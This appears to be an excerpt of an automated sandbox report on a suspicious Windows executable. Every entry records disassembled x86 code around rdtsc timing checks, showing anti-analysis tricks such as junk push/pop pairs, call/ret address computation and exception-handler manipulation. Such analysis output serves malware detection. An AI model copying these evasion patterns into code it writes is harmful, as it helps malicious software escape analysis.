Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C838A second address: 17C840F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F3650C99D98h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+122D32E2h], edx 0x0000002c call 00007F3650C99DA2h 0x00000031 sbb edi, 1CFED320h 0x00000037 pop edi 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007F3650C99D98h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 00000017h 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 mov edi, dword ptr [ebp+1245D1C2h] 0x0000005a xchg eax, ebx 0x0000005b jbe 00007F3650C99D9Eh 0x00000061 push esi 0x00000062 jc 00007F3650C99D96h 0x00000068 pop esi 0x00000069 push eax 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C8196 second address: 17C819A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C819A second address: 17C81A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C8F9B second address: 17C8F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C81A0 second address: 17C81A5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C8F9F second address: 17C8FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17CA498 second address: 17CA49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17CF28C second address: 17CF29A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F3650BE6D76h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17CF29A second address: 17CF2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3650C99D96h 0x0000000a je 00007F3650C99D96h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17CF2AF second address: 17CF2B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17CF88F second address: 17CF893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17CF893 second address: 17CF899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D0767 second address: 17D07C9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F3650C99D96h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, edx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F3650C99D98h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D2092h], ebx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F3650C99D98h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d mov dword ptr [ebp+124479B0h], ecx 0x00000053 push eax 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 pop eax 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D07C9 second address: 17D07CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17CFA1F second address: 17CFA9C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+12447849h], edi 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F3650C99D98h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f xor dword ptr [ebp+12475279h], ebx 0x00000035 add dword ptr [ebp+122D1CDCh], edi 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 mov edi, dword ptr [ebp+122D2EBDh] 0x00000048 mov eax, dword ptr [ebp+122D1399h] 0x0000004e mov dword ptr [ebp+1246D17Eh], edi 0x00000054 push FFFFFFFFh 0x00000056 mov dword ptr [ebp+12476DC7h], esi 0x0000005c push eax 0x0000005d pushad 0x0000005e jmp 00007F3650C99DA9h 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17CFA9C second address: 17CFAA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17CFAA0 second address: 17CFAA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D16CD second address: 17D175B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3650BE6D85h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F3650BE6D78h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov ebx, eax 0x0000002c movzx ebx, bx 0x0000002f push 00000000h 0x00000031 mov dword ptr [ebp+122D1D4Dh], ecx 0x00000037 push 00000000h 0x00000039 call 00007F3650BE6D83h 0x0000003e add ebx, 174BCE61h 0x00000044 pop ebx 0x00000045 xchg eax, esi 0x00000046 push ecx 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a push edx 0x0000004b pop edx 0x0000004c popad 0x0000004d pop ecx 0x0000004e push eax 0x0000004f pushad 0x00000050 push esi 0x00000051 jng 00007F3650BE6D76h 0x00000057 pop esi 0x00000058 push eax 0x00000059 push edx 0x0000005a jno 00007F3650BE6D76h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D0928 second address: 17D0994 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007F3650C99D9Eh 0x00000012 push edi 0x00000013 jno 00007F3650C99D96h 0x00000019 pop edi 0x0000001a nop 0x0000001b mov ebx, dword ptr [ebp+122D1E32h] 0x00000021 push dword ptr fs:[00000000h] 0x00000028 movsx edi, dx 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 sub dword ptr [ebp+122D1D31h], edi 0x00000038 mov eax, dword ptr [ebp+122D12FDh] 0x0000003e push 00000000h 0x00000040 push ebp 0x00000041 call 00007F3650C99D98h 0x00000046 pop ebp 0x00000047 mov dword ptr [esp+04h], ebp 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc ebp 0x00000054 push ebp 0x00000055 ret 0x00000056 pop ebp 0x00000057 ret 0x00000058 movsx edi, si 0x0000005b push FFFFFFFFh 0x0000005d mov di, ax 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D0994 second address: 17D099A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D3700 second address: 17D3711 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D3711 second address: 17D3720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650BE6D7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D3720 second address: 17D3724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D2916 second address: 17D2920 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3650BE6D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D3724 second address: 17D37B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3650C99D9Dh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F3650C99D98h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 jl 00007F3650C99D9Ch 0x0000002f mov dword ptr [ebp+1246D53Ah], ebx 0x00000035 push 00000000h 0x00000037 add di, 4FBBh 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push esi 0x00000041 call 00007F3650C99D98h 0x00000046 pop esi 0x00000047 mov dword ptr [esp+04h], esi 0x0000004b add dword ptr [esp+04h], 00000018h 0x00000053 inc esi 0x00000054 push esi 0x00000055 ret 0x00000056 pop esi 0x00000057 ret 0x00000058 xor ebx, dword ptr [ebp+122D1D62h] 0x0000005e sub bl, 00000040h 0x00000061 xchg eax, esi 0x00000062 jmp 00007F3650C99DA0h 0x00000067 push eax 0x00000068 push eax 0x00000069 pushad 0x0000006a pushad 0x0000006b popad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D47B4 second address: 17D47BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D4A51 second address: 17D4A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D7208 second address: 17D720E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D720E second address: 17D7212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D905D second address: 17D90A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F3650BE6D78h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov edi, esi 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D18C0h], eax 0x0000002d add dword ptr [ebp+122D1E55h], ebx 0x00000033 push 00000000h 0x00000035 mov ebx, dword ptr [ebp+122D2B07h] 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D90A3 second address: 17D90AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D90AC second address: 17D90B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D9F31 second address: 17D9F3B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3650C99D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17DBE61 second address: 17DBEDC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3650BE6D7Ah 0x0000000e nop 0x0000000f mov edi, dword ptr [ebp+122D2BFDh] 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D2D6Dh] 0x0000001d jmp 00007F3650BE6D85h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F3650BE6D78h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 0000001Dh 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e jbe 00007F3650BE6D79h 0x00000044 movsx ebx, di 0x00000047 sub di, E7F3h 0x0000004c xchg eax, esi 0x0000004d jo 00007F3650BE6D84h 0x00000053 push eax 0x00000054 push edx 0x00000055 jng 00007F3650BE6D76h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D922C second address: 17D9230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D9230 second address: 17D9236 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D9236 second address: 17D923C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D8295 second address: 17D8299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D923C second address: 17D924F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F3650C99D98h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17D8299 second address: 17D82B0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3650BE6D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jc 00007F3650BE6D80h 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17DEFE4 second address: 17DEFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jo 00007F3650C99DA4h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17DEFF5 second address: 17DEFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17E76BB second address: 17E76DC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3650C99DA7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17E76DC second address: 17E7707 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D86h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F3650BE6D7Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17E7AF0 second address: 17E7AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17E7AF7 second address: 17E7B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3650BE6D76h 0x0000000a jmp 00007F3650BE6D85h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17E7B16 second address: 17E7B39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3650C99DA3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17E7B39 second address: 17E7B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jp 00007F3650BE6D7Eh 0x0000000b push ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17892E0 second address: 178930D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F3650C99D9Bh 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F3650C99D9Ah 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jnc 00007F3650C99D96h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 178930D second address: 1789311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1789311 second address: 1789317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EEFC4 second address: 17EEFC9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EEFC9 second address: 17EF007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jns 00007F3650C99DAEh 0x00000011 mov eax, dword ptr [eax] 0x00000013 je 00007F3650C99DB4h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F3650C99D9Bh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF007 second address: 17EF02A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F3650BE6D7Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF0C1 second address: 17EF0D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF0D2 second address: 17EF0D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF0D7 second address: 17EF0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF0E6 second address: 17EF0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF0EB second address: 17EF0F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF0F0 second address: 17EF113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F3650BE6D81h 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF113 second address: 17EF117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF117 second address: 17EF121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17EF121 second address: 17EF125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17F0520 second address: 17F0526 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17F6C67 second address: 17F6C6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17F6C6D second address: 17F6C77 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3650BE6D88h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17F74A4 second address: 17F74BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA4h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17F74BD second address: 17F74C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17F77B2 second address: 17F77C5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3650C99D96h 0x00000008 jp 00007F3650C99D96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17F77C5 second address: 17F77CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C27AD second address: 161CD42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov edi, 557EF62Dh 0x0000000d mov ch, 88h 0x0000000f push dword ptr [ebp+122D0A59h] 0x00000015 call 00007F3650C99DA0h 0x0000001a mov edx, dword ptr [ebp+122D2ADFh] 0x00000020 pop edi 0x00000021 call dword ptr [ebp+122D1C85h] 0x00000027 pushad 0x00000028 cmc 0x00000029 xor eax, eax 0x0000002b jmp 00007F3650C99DA0h 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 jmp 00007F3650C99DA9h 0x00000039 pushad 0x0000003a sub dword ptr [ebp+122D213Dh], ebx 0x00000040 mov dword ptr [ebp+122D213Dh], eax 0x00000046 popad 0x00000047 mov dword ptr [ebp+122D2DD5h], eax 0x0000004d pushad 0x0000004e mov dword ptr [ebp+122D2064h], eax 0x00000054 jmp 00007F3650C99DA4h 0x00000059 popad 0x0000005a mov esi, 0000003Ch 0x0000005f jmp 00007F3650C99D9Dh 0x00000064 jmp 00007F3650C99DA3h 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d mov dword ptr [ebp+122D2064h], ecx 0x00000073 lodsw 0x00000075 or dword ptr [ebp+122D213Dh], ecx 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f mov dword ptr [ebp+122D20B4h], esi 0x00000085 mov ebx, dword ptr [esp+24h] 0x00000089 mov dword ptr [ebp+122D1937h], edi 0x0000008f jne 00007F3650C99DADh 0x00000095 nop 0x00000096 push eax 0x00000097 push edx 0x00000098 js 00007F3650C99D98h 0x0000009e pushad 0x0000009f popad 0x000000a0 rdtsc
